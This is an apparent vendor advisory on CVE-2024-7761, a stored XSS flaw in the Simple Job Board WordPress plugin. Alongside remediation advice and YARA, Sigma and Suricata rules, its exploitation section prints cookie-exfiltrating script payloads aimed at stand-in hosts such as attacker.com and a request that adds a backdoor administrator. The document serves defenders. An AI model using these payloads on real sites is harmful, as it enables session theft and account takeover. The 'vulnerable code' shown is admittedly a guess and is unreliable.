CVE-2024-7761
Executive Summary
CVE-2024-7761 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Simple Job Board WordPress plugin (versions before 2.12.2). This flaw allows an authenticated attacker with Editor-level privileges to inject malicious JavaScript into job board entries. When an administrator or other privileged user views the injected content, the script executes in their browser, potentially leading to account takeover, session hijacking, or further backdoor installation. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manually are at risk. No supply chain compromise of the plugin’s source code or distribution mechanism has been reported; the flaw exists in the plugin’s own input sanitization logic.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Editor role)
- User Interaction: Required (Admin must view the malicious entry)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the potential for account takeover (privilege escalation) elevates the real-world risk.
Deep Dive & Mechanics
The vulnerability resides in the job board’s job posting functionality. The plugin fails to properly sanitize user-supplied input in fields such as job title, description, or custom meta fields. An Editor (who can create and edit job listings) can embed arbitrary HTML/JavaScript. When an Administrator views the job listing (e.g., on the backend job list or frontend page), the injected script executes in the context of the Administrator’s session.
Attack Flow:
- Attacker with Editor role logs into WordPress.
- Creates or edits a job listing, injecting a malicious script (e.g.,
<script>document.location='https://evil.com/steal.php?c='+document.cookie</script>). - Administrator visits the job listing page.
- Script executes, stealing the admin’s session cookie or performing actions on their behalf.
- Attacker uses the stolen session to escalate privileges or install a backdoor.
Vulnerable vs. Patched Code
Vulnerable Code (before 2.12.2):
The plugin likely used echo or the_content filter without proper escaping on job listing fields. Example:
echo '<div class="job-title">' . $job_title . '</div>';
Patched Code (2.12.2):
The plugin now applies esc_html() or wp_kses_post() to sanitize output:
echo '<div class="job-title">' . esc_html( $job_title ) . '</div>';
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Simple Job Board plugin < 2.12.2.
- An Editor-level account.
Exploit Steps:
- Log in as Editor.
- Navigate to Job Board > Add New.
- In the Job Title field, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the job listing.
- Wait for an Administrator to view the listing (e.g., via email notification or direct link).
- The admin’s cookie is exfiltrated to
attacker.com.
Advanced Payload (Account Takeover):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/admin-ajax.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=add_user&user_login=backdoor&user_pass=Pass123&role=administrator');
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for job listings containing
<script>tags or unusual HTML entities. - Review server logs for
POSTrequests toadmin-ajax.phpwith suspicious parameters. - Use WAF rules to block XSS payloads in job submission forms.
Hardening:
- Upgrade to Simple Job Board 2.12.2 immediately.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Restrict Editor roles from creating job listings if not necessary.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains containing
cookie=ordocument.cookie. - File: Modified job listing entries in the WordPress database (
wp_poststable) containing<script>tags. - Log: Repeated
POSTrequests to/wp-admin/admin-ajax.phpwithaction=add_useror similar. - Session: Unexpected admin-level sessions originating from Editor IP addresses.
Detection Engineering
YARA Rule
rule CVE_2024_7761_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Simple Job Board plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-7761"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-7761 Stored XSS in Simple Job Board
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in job listing submissions
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=add_user'
condition: selection
falsepositives:
- Legitimate admin user creation
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-7761 Stored XSS - Cookie Exfiltration";
flow:to_server,established;
content:"document.cookie"; http_client_body;
content:"GET"; http_method;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate:
- Update Simple Job Board plugin to version 2.12.2 or later.
- Review all existing job listings for injected scripts.
- Reset all user sessions and force password changes for admin accounts.
Long-term:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce Content Security Policy (CSP) headers.
- Conduct regular security audits of WordPress plugins.
- Apply principle of least privilege: restrict Editor roles from creating job listings if not needed.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.